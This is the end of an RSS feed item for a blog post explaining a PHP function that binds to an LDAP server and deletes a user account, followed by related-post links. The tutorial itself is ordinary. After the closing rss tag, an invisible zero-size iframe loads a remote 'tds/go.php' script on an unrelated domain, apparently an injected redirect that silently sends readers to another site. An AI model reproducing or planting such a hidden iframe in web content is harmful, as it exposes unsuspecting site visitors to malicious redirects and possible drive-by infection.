&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> = <span class="st0">&quot;Error: &quot;</span> . ldap_error<span class="br0">&#40;</span><span class="re0">$ldapconn</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">return</span> <span class="re0">$s</span>;<br />
<span class="br0">&#125;</span></div>
</div>
<p>First we do the connection to LDAP server by using ldap_connect() function. Nothing special with this function, it just take one parameter which is the address of the LDAP server to connect to. If the connection was failed simply exit the script.</p>
<p>If it was successful, the do the LDAP binding by calling ldap_bind() function. This function takes three parameters: the connection handle to server previously established, the username and password to do the binding. If it was failed, then return an error message from the server.</p>
<p>If the binding was successful, we call the ldap_delete() function.This function takes two parameters: the connection handle to the server and the user account name to be deleted (in the case “cn=$login, “ concatenated with the base DN).</p>
<p>If the deletion was successful, the return “OK”, else return the error message from the server. Then, close the server connection by calling ldap_close() on the connection handle.</p>
<p><div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:e567a9a5-9c82-430c-880e-bd073209dd56" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/php" rel="tag">php</a>,<a href="http://technorati.com/tags/ldap+connection" rel="tag">ldap connection</a>,<a href="http://technorati.com/tags/ldap+user+manipulation" rel="tag">ldap user manipulation</a></div>
</p>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com" target="_blank">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a> </p>
<p><a href="http://ligarwangi.com" target="_blank">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/07/mengakses-active-directory-dari-delphi/" rel="bookmark">Mengakses Active Directory dari Delphi</a></li><li><a href="http://www.dijexi.com/2010/07/how-to-send-email-on-java-application-using-javamail-api/" rel="bookmark">How to Send Email on Java Application using JavaMail API</a></li><li><a href="http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/" rel="bookmark">Perl connection to PostgreSQL</a></li><li><a href="http://www.dijexi.com/2009/06/mysql-backup-with-phpmybackuppro/" rel="bookmark">MySQL Backup with phpMyBackupPro</a></li><li><a href="http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/" rel="bookmark">Restore MySQL database, stored procedure missing ?</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fphp-library-to-connect-to-ldap-server%2F&amp;linkname=PHP%20Library%20to%20Connect%20to%20LDAP%20Server"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/php-library-to-connect-to-ldap-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
